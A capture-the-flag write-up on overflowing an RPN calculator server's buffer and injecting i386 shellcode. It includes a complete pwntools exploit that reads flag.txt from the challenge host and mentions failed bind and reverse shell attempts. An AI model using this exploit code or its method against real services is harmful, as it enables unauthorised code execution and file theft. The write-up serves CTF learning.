We have the binary of the server and the binary of the client. The server can compute operations in Reverse Polish Notation. It's easy to crash the server sending lots of data to cause an overflow. Using gdb we can see that the program tried to execute an instruction on a specific address that we can control, however the address of the instruction is specified on the heap, so it's not easy to create a rop chain to execute arbitrary functions. What we did was to set as return address the address of a rop gadget `pop ebp; ret`, because we see that in the stack there was our input (aaaaaaaa):
```00:0000│ esp  0xffffd9fc —▸ 0x8049a4d ◂— add    esp, 0x10 # this parameter will be popped away with pop ebp;01:0004│      0xffffda00 —▸ 0xffffda10 ◂— 0x616161616161 # our input -> executed with ret;```
Since the server's binary has the stack executable we can override the "aaaaaaaa" -> 0x61616161616161 with a shellcode, We tried with a bind shell or reverse shell shellcode but the firewall blocked our connections. So we crafted our shellcode that:
1. open the file `flag.txt`2. read the content of flag.txt and write the content inside a chunk in the heap -> there was already a function in the binary to do this and the chunk in the heap is always the same since PIE is disabled.3. send back to us the content of the chunk in the heap using the socket file descriptor (4) -> there was already a function in the binary to do this
exploit:
```py#!/usr/bin/env python3
from pwn import *import string
context.log_level = "debug"context.arch = "i386"
PADDING = 204PASSWORD = b"JustPwnThis!"
pop_ebp_ret = p32(0x0804AD23)flag = b"./flag.txt\x00\x00"[::-1]shellcode = asm(    f"""        xor ecx, ecx        mul ecx        mov al, 0x05        push ecx        push 0x{flag.hex()[:8]}        push 0x{flag.hex()[8:16]}        push 0x{flag.hex()[16:24]}        mov ebx, esp        int 0x80        push {hex(0x804a8c8+9712)}        mov edx, esp        push 0x100        push edx        push eax        mov edx, 0x804a5ca        call edx        pop eax        pop ebx        push ebx        push 4        mov edx, 0x0804a650        call edx    """).ljust(PADDING, b"\x90")
payload = p32(0x804A8C8) + shellcode + pop_ebp_ret
# conn = remote("localhost", 9000)conn = remote("gamebox1.reply.it", 27364)conn.recvline()conn.sendline(PASSWORD)conn.recvline()conn.sendline(payload)print(conn.recvuntil(b"}"))```